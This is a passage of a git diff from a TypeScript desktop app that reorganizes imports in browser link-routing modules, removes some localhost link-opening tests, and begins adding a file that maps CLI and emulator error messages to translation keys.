+++ b/src/renderer/src/lib/browser/navigation/http-link-destinations.ts
@@ -1,15 +1,15 @@
-import type { BrowserLinkOpenContext } from './browser-link-destination'
-import type { HttpLinkBrowserRequestFields } from './http-link-browser-placement'
 import { showOpenInGroupRefusedToast } from '@/components/terminal-pane/links/files/terminal-file-open-in-group-toast'
-import { beginLinkOpenRequest } from '../../link-open-request'
+import { beginLinkOpenRequest } from '../../links/link-open-request'
 import { translate } from '@/i18n/i18n'
-import type { Translate } from '@/i18n/use-translate'
 import {
   openHttpLink,
   captureHttpLinkIntent,
-  canHttpLinkOpenInSourceGroup,
-  type HttpLinkSourceOwner
+  canHttpLinkOpenInSourceGroup
 } from '@/lib/browser/navigation/http-link-routing'
+import type { HttpLinkSourceOwner } from '@/lib/browser/navigation/http-link-routing'
+import type { BrowserLinkOpenContext } from './browser-link-destination'
+import type { HttpLinkBrowserRequestFields } from './http-link-browser-placement'
+import type { Translate } from '@/i18n/use-translate'
 
 export type OpenHttpLinkOptions = {
   worktreeId?: string | null
diff --git a/src/renderer/src/lib/browser/navigation/http-link-in-group-availability.ts b/src/renderer/src/lib/browser/navigation/http-link-in-group-availability.ts
index 882bd117110..e553ad6d11d 100644
--- a/src/renderer/src/lib/browser/navigation/http-link-in-group-availability.ts
+++ b/src/renderer/src/lib/browser/navigation/http-link-in-group-availability.ts
@@ -1,9 +1,7 @@
 import { resolveBrowserLinkSession } from './browser-link-session'
 import { createBrowserLinkHostMatcher } from './browser-link-owner'
-import type { AppState } from '@/store/types'
-import type { HttpLinkGroupActionRequest } from './http-link-routing'
-import { captureLinkOpenIntent } from '../../link-open-intent'
-import { getWorkspaceClientCreationActionPolicy } from '../../client-creation-action-policy'
+import { captureLinkOpenIntent } from '../../links/placement/link-open-intent'
+import { getWorkspaceClientCreationActionPolicy } from '../../workspace/creation/surface-policy/client-creation-action-policy'
 import {
   getFloatingWorkspaceOperationRoute,
   resolveWorktreeOperationRoute
@@ -18,6 +16,8 @@ import {
   parseExecutionHostId,
   toRuntimeExecutionHostId
 } from '../../../../../shared/execution-host'
+import type { AppState } from '@/store/types'
+import type { HttpLinkGroupActionRequest } from './http-link-routing'
 
 /** Strict local creation is supported; an unproven runtime route can only reuse a pinned match. */
 export function canOfferHttpLinkGroupAction(
diff --git a/src/renderer/src/lib/browser/navigation/http-link-routing-store.test.ts b/src/renderer/src/lib/browser/navigation/http-link-routing-store.test.ts
index 9e80fd084e0..0287d46a01c 100644
--- a/src/renderer/src/lib/browser/navigation/http-link-routing-store.test.ts
+++ b/src/renderer/src/lib/browser/navigation/http-link-routing-store.test.ts
@@ -1,16 +1,16 @@
 import { afterEach, beforeEach, expect, it, vi } from 'vitest'
-import type * as BrowserFocusModule from '@/components/browser-pane/host-guest/browser-focus'
 import { requestBrowserFocus } from '@/components/browser-pane/host-guest/browser-focus'
+import type * as BrowserFocusModule from '@/components/browser-pane/host-guest/browser-focus'
 import { useAppStore } from '@/store/index'
 import { createStoreCascadesMockApi } from '@/store/testing/app-store-cascade-api.test-fixture'
 import '@/store/testing/app-store-test-fixture'
 import { makeWorktree } from '@/store/slices/worktrees/worktree.test-fixture'
-import { FLOATING_TERMINAL_WORKTREE_ID, getDefaultSettings } from '../../../../../shared/constants'
+import { getDefaultSettings } from '../../../../../shared/constants'
 import { seedBrowserLinkTestStore, WORKSPACE, URL_TO_OPEN } from './browser-link-open.test-fixture'
-import { captureLinkOpenIntent } from '../../link-open-intent'
+import '../../links/placement/link-open-intent'
 import { openHttpLink } from './http-link-routing'
-import { openRoutedHttpLink } from './http-link-destinations'
-import * as workspaceBrowserTabOpen from '../workspace/workspace-browser-tab-open'
+import './http-link-destinations'
+import '../workspace/workspace-browser-tab-open'
 
 const OTHER_WORKSPACE = 'repo1::/other'
 
@@ -53,262 +53,6 @@ afterEach(() => {
   vi.unstubAllGlobals()
 })
 
-function deferLocalhostRegistration() {
-  const registration = Promise.withResolvers<{ url: string }>()
-  const register = vi.fn(() => registration.promise)
-  vi.stubGlobal('window', {
-    ...window,
-    api: { ...window.api, localhostWorktreeLabels: { register } }
-  })
-  useAppStore.setState((state) => ({
-    settings: {
-      ...(state.settings ?? getDefaultSettings('/home/test')),
-      localhostWorktreeLabelsEnabled: true
-    },
-    workspacePortScansByKey: {
-      'local:all': {
-        platform: 'darwin',
-        scannedAt: 1,
-        ports: [
-          {
-            id: 'tcp:5180',
-            kind: 'workspace',
-            port: 5180,
-            protocol: 'http',
-            bindHost: '127.0.0.1',
-            connectHost: 'localhost',
-            owner: {
-              repoId: 'repo1',
-              worktreeId: WORKSPACE,
-              displayName: 'main',
-              path: '/repo',
-              confidence: 'cwd'
-            }
-          }
-        ]
-      }
-    }
-  }))
-  return { registration, register }
-}
-
-function observeBrowserLinkOpen() {
-  const completed =
-    Promise.withResolvers<
-      Awaited<ReturnType<typeof workspaceBrowserTabOpen.openWorkspaceBrowserTabForLink>>
-    >()
-  const open = workspaceBrowserTabOpen.openWorkspaceBrowserTabForLink
-  vi.spyOn(workspaceBrowserTabOpen, 'openWorkspaceBrowserTabForLink').mockImplementation(
-    (request) => {
-      const opening = open(request)
-      void opening.then(completed.resolve, completed.reject)
-      return opening
-    }
-  )
-  return completed.promise
-}
-
-it.each([
-  'unchanged',
-  'workspace',
-  'view',
-  'host-return',
-  'workspace-return',
-  'view-return'
-] as const)(
-  'keeps a registered localhost tab but relinquishes foreground after navigation: %s',
-  async (navigation) => {
-    const { registration, register } = deferLocalhostRegistration()
-    const completed = observeBrowserLinkOpen()
-    openRoutedHttpLink('http://localhost:5180/', {
-      worktreeId: WORKSPACE,
-      sourceTabId: 'source',
-      forceDestination: 'orca'
-    })
-    expect(register).toHaveBeenCalledOnce()
-    expect(useAppStore.getState().browserPagesByWorkspace).toEqual({})
-
-    if (navigation.startsWith('workspace')) {
-      useAppStore.getState().setActiveWorktree(OTHER_WORKSPACE, 'local')
-      if (navigation === 'workspace-return') {
-        useAppStore.getState().setActiveWorktree(WORKSPACE, 'local')
-      }
-    } else if (navigation.startsWith('view')) {
-      useAppStore.getState().setActiveView('skills')
-      if (navigation === 'view-return') {
-        useAppStore.getState().setActiveView('activity')
-      }
-    } else if (navigation === 'host-return') {
-      useAppStore.setState({ activeWorkspaceExecutionHostId: 'ssh:other' })
-      useAppStore.setState({ activeWorkspaceExecutionHostId: 'local' })
-    }
-    const selected = useAppStore.getState()
-    const labeledUrl = 'http://main.orca.localhost:60016/'
-    registration.resolve({ url: labeledUrl })
-    const outcome = await completed
-
-    expect(outcome).toMatchObject({ status: 'opened' })
-    if (outcome.status !== 'opened') {
-      throw new Error('Expected the registered browser tab to be retained')
-    }
-    const state = useAppStore.getState()
-    expect(state.browserPagesByWorkspace[outcome.result.browserWorkspaceId]?.[0]?.url).toBe(
-      labeledUrl
-    )
-    expect(state.browserTabsByWorktree[WORKSPACE]).toHaveLength(1)
-    expect(state.groupsByWorktree[WORKSPACE]?.find((group) => group.id === 'a')?.activeTabId).toBe(
-      'source'
-    )
-    expect(state.groupsByWorktree[WORKSPACE]?.find((group) => group.id === 'b')?.activeTabId).toBe(
-      navigation === 'unchanged' ? outcome.result.unifiedTabId : 'terminal-b'
-    )
-    if (navigation === 'unchanged') {
-      expect(state.activeView).toBe('terminal')
-      expect(state.activeGroupIdByWorktree[WORKSPACE]).toBe(outcome.result.groupId)
-      expect(requestBrowserFocus).toHaveBeenCalledExactlyOnceWith({
-        pageId: outcome.result.browserPageId,
-        target: 'webview'
-      })
-    } else {
-      expect(state.activeWorktreeId).toBe(selected.activeWorktreeId)
-      expect(state.activeWorkspaceExecutionHostId).toBe(selected.activeWorkspaceExecutionHostId)
-      expect(state.activeView).toBe(selected.activeView)
-      expect(state.activeGroupIdByWorktree[WORKSPACE]).toBe(
-        selected.activeGroupIdByWorktree[WORKSPACE]
-      )
-      expect(
-        state.groupsByWorktree[WORKSPACE]?.find((group) => group.id === 'b')?.activeTabId
-      ).toBe('terminal-b')
-      expect(requestBrowserFocus).not.toHaveBeenCalled()
-    }
-  }
-)
-
-it('lets a newer link open normally while an older localhost registration completes', async () => {
-  const { registration, register } = deferLocalhostRegistration()
-  const completed = observeBrowserLinkOpen()
-  const options = {
-    worktreeId: WORKSPACE,
-    sourceTabId: 'source',
-    forceDestination: 'orca' as const
-  }
-  openRoutedHttpLink('http://localhost:5180/', options)
-  expect(register).toHaveBeenCalledOnce()
-  openRoutedHttpLink(URL_TO_OPEN, options)
-  const outcome = await completed
-  expect(outcome).toMatchObject({ status: 'opened' })
-  registration.resolve({ url: 'http://main.orca.localhost:60016/' })
-  await registration.promise
-
-  const state = useAppStore.getState()
-  expect(state.browserTabsByWorktree[WORKSPACE]).toHaveLength(1)
-  expect(
-    Object.values(state.browserPagesByWorkspace)
-      .flat()
-      .map((page) => page.url)
-  ).toEqual([URL_TO_OPEN])
-  expect(state.activeView).toBe('terminal')
-  expect(requestBrowserFocus).toHaveBeenCalledOnce()
-})
-
-it.each(['workspace', 'view'] as const)(
-  'retains a legacy localhost tab in the background after navigating to another %s',
-  async (navigation) => {
-    const { registration, register } = deferLocalhostRegistration()
-    const completed = observeBrowserLinkOpen()
-    openHttpLink('http://localhost:5180/', {
-      worktreeId: WORKSPACE,
-      sourceOwner: { kind: 'local' }
-    })
-    expect(register).toHaveBeenCalledOnce()
-    if (navigation === 'workspace') {
-      useAppStore.getState().setActiveWorktree(OTHER_WORKSPACE, 'local')
-    } else {
-      useAppStore.getState().setActiveView('skills')
-    }
-    const selected = useAppStore.getState()
-    const labeledUrl = 'http://main.orca.localhost:60016/'
-    registration.resolve({ url: labeledUrl })
-    await completed
-
-    const state = useAppStore.getState()
-    expect(state.browserTabsByWorktree[WORKSPACE]).toHaveLength(1)
-    expect(
-      Object.values(state.browserPagesByWorkspace)
-        .flat()
-        .map((page) => page.url)
-    ).toEqual([labeledUrl])
-    expect(state.activeWorktreeId).toBe(selected.activeWorktreeId)
-    expect(state.activeView).toBe(selected.activeView)
-    expect(state.activeGroupIdByWorktree[WORKSPACE]).toBe(
-      selected.activeGroupIdByWorktree[WORKSPACE]
-    )
-    expect(requestBrowserFocus).not.toHaveBeenCalled()
-  }
-)
-
-it('keeps the Activity view and current pane selected for background source-aware HTTP links', async () => {
-  useAppStore.setState({
-    settings: {
-      ...getDefaultSettings('/home/test'),
-      openLinksInApp: true,
-      openLinksInAppInBackground: true
-    }
-  })
-  const opening = vi.spyOn(workspaceBrowserTabOpen, 'openWorkspaceBrowserTabForLink')
-  openHttpLink(URL_TO_OPEN, {
-    worktreeId: WORKSPACE,
-    sourceOwner: { kind: 'local' },
-    linkContext: { linkIntent: captureLinkOpenIntent(useAppStore.getState(), WORKSPACE, 'source') }
-  })
-  await vi.waitFor(() => expect(opening).toHaveBeenCalledOnce())
-  expect(await opening.mock.results[0]!.value).toMatchObject({ status: 'opened' })
-  expect(useAppStore.getState().activeView).toBe('activity')
-  expect(useAppStore.getState().activeWorktreeId).toBe(WORKSPACE)
-  expect(useAppStore.getState().activeGroupIdByWorktree[WORKSPACE]).toBe('c')
-  expect(requestBrowserFocus).not.toHaveBeenCalled()
-})
-
-it('keeps the main view and workspace selected when revealing a floating HTTP link', async () => {
-  const floating = FLOATING_TERMINAL_WORKTREE_ID
-  const state = useAppStore.getState()
-  useAppStore.setState({
-    settings: {
-      ...getDefaultSettings('/home/test'),
-      openLinksInApp: true,
-      floatingTerminalEnabled: true
-    },
-    floatingWorkspacePanelOpen: true,
-    groupsByWorktree: {
-      ...state.groupsByWorktree,
-      [floating]: state.groupsByWorktree[WORKSPACE]!.map((group) => ({
-        ...group,
-        worktreeId: floating
-      }))
-    },
-    unifiedTabsByWorktree: {
-      ...state.unifiedTabsByWorktree,
-      [floating]: state.unifiedTabsByWorktree[WORKSPACE]!.map((tab) => ({
-        ...tab,
-        worktreeId: floating
-      }))
-    },
-    layoutByWorktree: { ...state.layoutByWorktree, [floating]: state.layoutByWorktree[WORKSPACE]! }
-  })
-  const opening = vi.spyOn(workspaceBrowserTabOpen, 'openWorkspaceBrowserTabForLink')
-  openHttpLink(URL_TO_OPEN, {
-    worktreeId: floating,
-    sourceOwner: { kind: 'local' },
-    linkContext: { linkIntent: captureLinkOpenIntent(useAppStore.getState(), floating, 'source') }
-  })
-  await vi.waitFor(() => expect(opening).toHaveBeenCalledOnce())
-  expect(await opening.mock.results[0]!.value).toMatchObject({ status: 'opened' })
-  expect(useAppStore.getState().activeView).toBe('activity')
-  expect(useAppStore.getState().activeWorktreeId).toBe(WORKSPACE)
-  expect(useAppStore.getState().activeGroupIdByWorktree[floating]).toBe('b')
-  expect(useAppStore.getState().groupsByWorktree[floating]).toHaveLength(3)
-})
-
 it('reports where an opened link went', () => {
   const openUrl = vi.fn(async () => undefined)
   vi.stubGlobal('window', { ...window, api: { ...window.api, shell: { openUrl } } })
diff --git a/src/renderer/src/lib/browser/navigation/http-link-routing.ts b/src/renderer/src/lib/browser/navigation/http-link-routing.ts
index 2d63dbea0ab..5ef5716696c 100644
--- a/src/renderer/src/lib/browser/navigation/http-link-routing.ts
+++ b/src/renderer/src/lib/browser/navigation/http-link-routing.ts
@@ -1,34 +1,35 @@
 import {
   localhostLabelRouteForHttpLink,
-  openLabeledLocalhostLink,
-  type LocalhostLinkRepo,
-  type LocalhostLinkProject,
-  type LocalhostLinkWorktree
+  openLabeledLocalhostLink
 } from './http-link-localhost-route'
-import type { WorkspacePortScanResult } from '../../../../../shared/workspace-ports'
-
-import type { LinkOpenIntent, LinkSourceState } from '../../link-open-intent'
-import { captureLinkOpenIntent, canOpenLinkInSourceGroup } from '../../link-open-intent'
-import type { AppState } from '@/store/types'
+import type {
+  LocalhostLinkRepo,
+  LocalhostLinkProject,
+  LocalhostLinkWorktree
+} from './http-link-localhost-route'
+import {
+  captureLinkOpenIntent,
+  canOpenLinkInSourceGroup
+} from '../../links/placement/link-open-intent'
+import type { LinkOpenIntent, LinkSourceState } from '../../links/placement/link-open-intent'
 import { translate } from '@/i18n/i18n'
 import { isFloatingWorkspaceId } from '../../../../../shared/floating-workspace-worktree'
-import type { GlobalSettings } from '../../../../../shared/global-settings-types'
 import { toast } from 'sonner'
-import type { ExecutionHostId } from '../../../../../shared/execution-host'
 import { reselectWorkspaceKeepingHost } from '../../workspace/ownership/active-workspace-host'
-import {
-  captureBrowserLinkReveal,
-  type BrowserLinkSelectionSubscriber
-} from './browser-link-reveal'
+import { captureBrowserLinkReveal } from './browser-link-reveal'
+import type { BrowserLinkSelectionSubscriber } from './browser-link-reveal'
 import {
   isHttpLinkBackgroundOpen,
   openLocalHttpLinkTab,
-  prepareRemoteHttpLinkTab,
-  type HttpLinkBrowserTabState
+  prepareRemoteHttpLinkTab
 } from './http-link-browser-placement'
-
-import type { OpenHttpLinkOptions, WorkspaceHttpLinkBrowserOpener } from './http-link-destinations'
+import type { HttpLinkBrowserTabState } from './http-link-browser-placement'
 import { resolveModifierRouting } from './http-link-modifier-routing'
+import type { WorkspacePortScanResult } from '../../../../../shared/workspace-ports'
+import type { AppState } from '@/store/types'
+import type { GlobalSettings } from '../../../../../shared/global-settings-types'
+import type { ExecutionHostId } from '../../../../../shared/execution-host'
+import type { OpenHttpLinkOptions, WorkspaceHttpLinkBrowserOpener } from './http-link-destinations'
 
 function settleHttpLinkBrowserOpen(
   opening: Promise<string | null | void>,
diff --git a/src/renderer/src/lib/browser/palette/browser-palette-search.ts b/src/renderer/src/lib/browser/palette/browser-palette-search.ts
index 288e6a1b526..199c8f3a2ac 100644
--- a/src/renderer/src/lib/browser/palette/browser-palette-search.ts
+++ b/src/renderer/src/lib/browser/palette/browser-palette-search.ts
@@ -14,7 +14,7 @@ import { buildPaletteTabDocument } from '../../../../../shared/palette-match/tab
 import {
   resolveWorktreeBranchLabel,
   resolveWorktreeDisplayName
-} from '../../worktree-default-display-name'
+} from '../../workspace/display/worktree-default-display-name'
 import type { ExecutionHostId } from '../../../../../shared/execution-host'
 import type { MatchRange } from '../../../../../shared/palette-match/normalized-text'
 import type {
diff --git a/src/renderer/src/lib/duplicate-browser-tab-options.ts b/src/renderer/src/lib/browser/workspace/duplicate-browser-tab-options.ts
similarity index 81%
rename from src/renderer/src/lib/duplicate-browser-tab-options.ts
rename to src/renderer/src/lib/browser/workspace/duplicate-browser-tab-options.ts
index b279b8d6aa2..a2014fcebfa 100644
--- a/src/renderer/src/lib/duplicate-browser-tab-options.ts
+++ b/src/renderer/src/lib/browser/workspace/duplicate-browser-tab-options.ts
@@ -1,4 +1,4 @@
-import type { BrowserWorkspace } from '../../../shared/browser-workspace-types'
+import type { BrowserWorkspace } from '../../../../../shared/browser-workspace-types'
 
 export function buildDuplicatedBrowserTabOptions(
   source: Pick<BrowserWorkspace, 'title' | 'sessionProfileId' | 'sessionPartition'>
diff --git a/src/renderer/src/lib/browser/workspace/workspace-browser-link-open.ts b/src/renderer/src/lib/browser/workspace/workspace-browser-link-open.ts
index 4582f7d0e76..858ee8df701 100644
--- a/src/renderer/src/lib/browser/workspace/workspace-browser-link-open.ts
+++ b/src/renderer/src/lib/browser/workspace/workspace-browser-link-open.ts
@@ -2,27 +2,29 @@ import { focusOpenedBrowserLink } from '../navigation/browser-link-focus'
 import { createBrowserLinkHostMatcher } from '../navigation/browser-link-owner'
 import { resolveBrowserLinkSession } from '../navigation/browser-link-session'
 import { useAppStore } from '@/store/index'
-import type { AppState } from '@/store/types'
-import type { TabSplitTarget } from '@/store/slices/tabs/tabs-slice-contract'
-import type { ExecutionHostId } from '../../../../../shared/execution-host'
 import { toRuntimeExecutionHostId } from '../../../../../shared/execution-host'
-import type { OpenWorkspaceBrowserTabRequest } from './workspace-browser-tab-open'
+import type { ExecutionHostId } from '../../../../../shared/execution-host'
 import { openLocalBrowserLink, browserLinkCommitIsValid } from '../navigation/browser-link-open'
 import {
   selectBrowserLinkDestination,
   browserOpenResultForPage,
-  currentBrowserLinkMatch,
-  type BrowserLinkDestination,
-  type BrowserOpenOutcome
+  currentBrowserLinkMatch
+} from '../navigation/browser-link-destination'
+import type {
+  BrowserLinkDestination,
+  BrowserOpenOutcome
 } from '../navigation/browser-link-destination'
 import { activateBrowserWorkspaceTab } from './browser-workspace-tab-activation'
 import {
   getFloatingWorkspaceOperationRoute,
   resolveWorktreeOperationRoute
 } from '../../workspace/ownership/worktree-operation-route'
-import { getWorkspaceClientCreationActionPolicy } from '../../client-creation-action-policy'
+import { getWorkspaceClientCreationActionPolicy } from '../../workspace/creation/surface-policy/client-creation-action-policy'
 import { selectWorkspaceSurface } from '../../workspace/activation/workspace-surface-reveal'
 import { showWorkspaceTabs } from '../navigation/http-link-browser-placement'
+import type { AppState } from '@/store/types'
+import type { TabSplitTarget } from '@/store/slices/tabs/tabs-slice-contract'
+import type { OpenWorkspaceBrowserTabRequest } from './workspace-browser-tab-open'
 
 function ownsBrowserRoute(
   state: AppState,
diff --git a/src/renderer/src/lib/browser/workspace/workspace-browser-route-eligibility.ts b/src/renderer/src/lib/browser/workspace/workspace-browser-route-eligibility.ts
index ff73704d4e4..756a3aece0a 100644
--- a/src/renderer/src/lib/browser/workspace/workspace-browser-route-eligibility.ts
+++ b/src/renderer/src/lib/browser/workspace/workspace-browser-route-eligibility.ts
@@ -1,16 +1,16 @@
-import type { AppState } from '@/store/types'
 import { parseExecutionHostId } from '../../../../../shared/execution-host'
 import { FLOATING_TERMINAL_WORKTREE_ID } from '../../../../../shared/constants'
 import '../../../../../shared/protocol-version'
 import { BROWSER_SCREENCAST_RUNTIME_CAPABILITY } from '../../../../../shared/browser/runtime/browser-runtime-capabilities'
 import {
   getWorkspaceClientCreationActionPolicy,
-  runtimeHostsPagesOnThisDesktop,
-  type ClientCreationActionAvailability
-} from '../../client-creation-action-policy'
+  runtimeHostsPagesOnThisDesktop
+} from '../../workspace/creation/surface-policy/client-creation-action-policy'
+import type { ClientCreationActionAvailability } from '../../workspace/creation/surface-policy/client-creation-action-policy'
 import { resolveWorktreeOperationRoute } from '../../workspace/ownership/worktree-operation-route'
 import { getExecutionHostIdForWorktree } from '../../workspace/ownership/worktree-runtime-owner'
 import { resolveSshWorkspaceBrowserRouteEligibility } from './ssh-workspace-browser-route-eligibility'
+import type { AppState } from '@/store/types'
 
 export function isExpectedRuntimeBrowserRoute(
   state: AppState,
diff --git a/src/renderer/src/lib/browser/workspace/workspace-browser-tab-close.ts b/src/renderer/src/lib/browser/workspace/workspace-browser-tab-close.ts
index 8d7be5fae12..52354bf3cf0 100644
--- a/src/renderer/src/lib/browser/workspace/workspace-browser-tab-close.ts
+++ b/src/renderer/src/lib/browser/workspace/workspace-browser-tab-close.ts
@@ -1,7 +1,7 @@
 import { useAppStore } from '@/store/index'
 import { destroyWorkspaceWebviews } from '@/store/slices/browser/cleanup/browser-webview-cleanup'
 import { runtimeEnvironmentIdForWorkspaceOwner } from '../../workspace/ownership/resolve-owner'
-import { warnAmbiguousOwnerOnce } from '../../ambiguous-owner-warning'
+import { warnAmbiguousOwnerOnce } from '../../workspace/ownership/ambiguous-owner-warning'
 import { closeBrowserWorkspaceTabOnHosts } from '@/runtime/browser/closing/browser-workspace-tab-close'
 import type { BrowserWorkspaceTabClosePlan } from '@/runtime/browser/closing/browser-workspace-tab-close-plan'
 
diff --git a/src/renderer/src/lib/browser/workspace/workspace-browser-tab-open.ts b/src/renderer/src/lib/browser/workspace/workspace-browser-tab-open.ts
index 8ce6f88565a..437acac77ff 100644
--- a/src/renderer/src/lib/browser/workspace/workspace-browser-tab-open.ts
+++ b/src/renderer/src/lib/browser/workspace/workspace-browser-tab-open.ts
@@ -1,14 +1,9 @@
 import { createBrowserLinkHostMatcher } from '../navigation/browser-link-owner'
-
 import {
   isExpectedRuntimeBrowserRoute,
   isSshDeploymentClientBrowserRoute,
   isExpectedSshBrowserRoute
 } from './workspace-browser-route-eligibility'
-import type {
-  BrowserLinkOpenContext,
-  BrowserOpenOutcome
-} from '../navigation/browser-link-destination'
 import {
   workspaceBrowserLinkDestination,
   openClientWorkspaceBrowserLink,
@@ -18,20 +13,11 @@ import {
 import { createWebRuntimeSessionBrowserTab } from '@/runtime/browser/creation/web-runtime-browser-creation'
 import { resolveWebRuntimeBrowserClientTargetGroup } from '@/runtime/browser/creation/web-runtime-browser-client-target-group'
 import { useAppStore } from '@/store/index'
-import type { AppState } from '@/store/types'
 import { resolveNewBrowserTabProfile } from '@/store/slices/browser/profiles/browser-new-tab-profile'
-import {
-  LOCAL_EXECUTION_HOST_ID,
-  parseExecutionHostId,
-  type ExecutionHostId
-} from '../../../../../shared/execution-host'
-import type { SearchEngine } from '../../../../../shared/browser-url'
-import type { BrowserClientHostPlacementPreference } from '../../../../../shared/browser/client-hosting/browser-client-host-placement'
-import type { TabSplitTarget } from '@/store/slices/tabs/tabs-slice-contract'
-import {
-  getClientCreationActionPolicy,
-  type ClientCreationActionAvailability
-} from '../../client-creation-action-policy'
+import { LOCAL_EXECUTION_HOST_ID, parseExecutionHostId } from '../../../../../shared/execution-host'
+import type { ExecutionHostId } from '../../../../../shared/execution-host'
+import { getClientCreationActionPolicy } from '../../workspace/creation/surface-policy/client-creation-action-policy'
+import type { ClientCreationActionAvailability } from '../../workspace/creation/surface-policy/client-creation-action-policy'
 import {
   getFloatingWorkspaceOperationRoute,
   resolveWorktreeOperationRoute
@@ -41,6 +27,14 @@ import {
   openFailure,
   validateTarget
 } from './workspace-browser-tab-presentation'
+import type {
+  BrowserLinkOpenContext,
+  BrowserOpenOutcome
+} from '../navigation/browser-link-destination'
+import type { AppState } from '@/store/types'
+import type { SearchEngine } from '../../../../../shared/browser-url'
+import type { BrowserClientHostPlacementPreference } from '../../../../../shared/browser/client-hosting/browser-client-host-placement'
+import type { TabSplitTarget } from '@/store/slices/tabs/tabs-slice-contract'
 
 export type WorkspaceBrowserTabIntent = { kind: 'url' } | { kind: 'search'; engine: SearchEngine }
 
diff --git a/src/renderer/src/lib/cli-emulator-user-facing-copy.ts b/src/renderer/src/lib/cli-emulator-user-facing-copy.ts
new file mode 100644
index 00000000000..b491c2ee15a
--- /dev/null
+++ b/src/renderer/src/lib/cli-emulator-user-facing-copy.ts
@@ -0,0 +1,246 @@
+import { translate } from '@/i18n/i18n'
+
+const KNOWN_CLI_DETAILS: {
+  test: RegExp | string
+  key: string
+  fallback: string
+  vars?: (match: RegExpMatchArray | null, raw: string) => Record<string, string | number>
+}[] = [
+  {
+    test: 'Development mode uses a generated launcher for validation only.',
+    key: 'auto.lib.cli.detail.devLauncherOnly',
+    fallback: 'Development mode uses a generated launcher for validation only.'
+  },
+  {
+    test: 'The bundled CLI launcher is missing from this Orca build.',
+    key: 'auto.lib.cli.detail.launcherMissing',
+    fallback: 'The bundled CLI launcher is missing from this Orca build.'
+  },
+  {
+    test: 'CLI registration is not implemented on this platform.',
+    key: 'auto.lib.cli.detail.platformUnsupported',
+    fallback: 'CLI registration is not implemented on this platform.'
+  },
+  {
+    test: 'CLI registration is unavailable on this build.',
+    key: 'auto.lib.cli.detail.registrationUnavailable',
+    fallback: 'CLI registration is unavailable on this build.'
+  },
+  {
+    test: 'WSL CLI registration is unavailable.',
+    key: 'auto.lib.cli.detail.wslRegistrationUnavailable',
+    fallback: 'WSL CLI registration is unavailable.'
+  },
+  {
+    test: 'WSL CLI registration is only available on Windows.',
+    key: 'auto.lib.cli.detail.wslWindowsOnly',
+    fallback: 'WSL CLI registration is only available on Windows.'
+  },
+  {
+    test: 'No WSL distribution is available.',
+    key: 'auto.lib.cli.detail.noWslDistro',
+    fallback: 'No WSL distribution is available.'
+  },
+  {
+    test: 'The Windows Orca CLI launcher is missing.',
+    key: 'auto.lib.cli.detail.windowsLauncherMissing',
+    fallback: 'The Windows Orca CLI launcher is missing.'
+  },
+  {
+    test: 'Unable to resolve the WSL home directory.',
+    key: 'auto.lib.cli.detail.wslHomeUnresolved',
+    fallback: 'Unable to resolve the WSL home directory.'
+  },
+  {
+    test: 'Could not reach the WSL distro. Try again.',
+    key: 'auto.lib.cli.detail.wslDistroUnreachable',
+    fallback: 'Could not reach the WSL distro. Try again.'
+  },
+  {
+    test: 'WSL Windows interop is unavailable; Orca cannot launch the Windows CLI from WSL.',
+    key: 'auto.lib.cli.detail.wslInteropUnavailable',
+    fallback: 'WSL Windows interop is unavailable; Orca cannot launch the Windows CLI from WSL.'
+  },
+  {
+    test: 'The Orca launcher exists, but Orca could not check your Windows user PATH.',
+    key: 'auto.lib.cli.detail.windowsPathCheckFailed',
+    fallback: 'The Orca launcher exists, but Orca could not check your Windows user PATH.'
+  },
+  {
+    test: /WSL command timed out after (\d+)ms\.?/i,
+    key: 'auto.lib.cli.detail.wslCommandTimedOut',
+    fallback: 'WSL command timed out after {{ms}}ms.',
+    vars: (match) => ({ ms: match?.[1] ?? '10000' })
+  },
+  {
+    test: /Windows PATH command timed out after (\d+)ms\.?/i,
+    key: 'auto.lib.cli.detail.windowsPathTimedOut',
+    fallback: 'Windows PATH command timed out after {{ms}}ms.',
+    vars: (match) => ({ ms: match?.[1] ?? '10000' })
+  },
+  {
+    test: /^EACCES:\s*permission denied,\s*readlink\s+['"](.+)['"]$/i,
+    key: 'auto.lib.cli.detail.readlinkPermissionDenied',
+    fallback:
+      'Orca does not have permission to inspect {{path}}. Check the path and its parent directory permissions, then try again.',
+    vars: (match) => ({ path: match?.[1] ?? 'orca' })
+  },
+  {
+    test: /Registered at (.+)\.?$/,
+    key: 'auto.lib.cli.detail.registeredAt',
+    fallback: 'Registered at {{path}}.',
+    vars: (match) => ({ path: (match?.[1] ?? '').replace(/\.$/, '') })
+  },
+  {
+    test: /Registered in (.+) at (.+)\.?$/,
+    key: 'auto.lib.cli.detail.registeredInDistroAt',
+    fallback: 'Registered in {{distro}} at {{path}}.',
+    vars: (match) => ({
+      distro: match?.[1] ?? '',
+      path: (match?.[2] ?? '').replace(/\.$/, '')
+    })
+  },
+  {
+    test: /(.+) exists but is not an Orca launcher script\.?$/,
+    key: 'auto.lib.cli.detail.notOrcaLauncherScript',
+    fallback: '{{path}} exists but is not an Orca launcher script.',
+    vars: (match) => ({ path: match?.[1] ?? '' })
+  },
+  {
+    test: /(.+) exists but is not an Orca symlink\.?$/,
+    key: 'auto.lib.cli.detail.notOrcaSymlink',
+    fallback: '{{path}} exists but is not an Orca symlink.',
+    vars: (match) => ({ path: match?.[1] ?? '' })
+  },
+  {
+    test: /(.+) points to a different launcher\.?$/,
+    key: 'auto.lib.cli.detail.differentLauncher',
+    fallback: '{{path}} points to a different launcher.',
+    vars: (match) => ({ path: match?.[1] ?? '' })
+  },
+  {
+    test: /(.+) contains an older Orca launcher\.?$/,
+    key: 'auto.lib.cli.detail.olderLauncher',
+    fallback: '{{path}} contains an older Orca launcher.',
+    vars: (match) => ({ path: match?.[1] ?? '' })
+  },
+  {
+    test: /^(.+) cannot be read\. Register again to repair it\.?$/i,
+    key: 'auto.lib.cli.detail.unreadableSymlink',
+    fallback: '{{path}} cannot be read. Register again to repair it.',
+    vars: (match) => ({ path: match?.[1] ?? 'orca' })
+  }
+]
+
+const KNOWN_ANDROID_MESSAGES: { test: string; key: string; fallback: string }[] = [
+  {
+    test: 'Android SDK not found. Install Android Studio and set ANDROID_HOME.',
+    key: 'auto.lib.emulator.androidSdkNotFound',
+    fallback: 'Android SDK not found. Install Android Studio and set ANDROID_HOME.'
+  }
+]
+
+const KNOWN_IOS_MESSAGES: { test: string; key: string; fallback: string }[] = [
+  {
+    test: 'Xcode Simulator tools are unavailable. Install full Xcode, open it once, then select it with `sudo xcode-select --switch /Applications/Xcode.app/Contents/Developer`.',
+    key: 'auto.lib.emulator.xcodeSimulatorToolsUnavailable',
+    fallback:
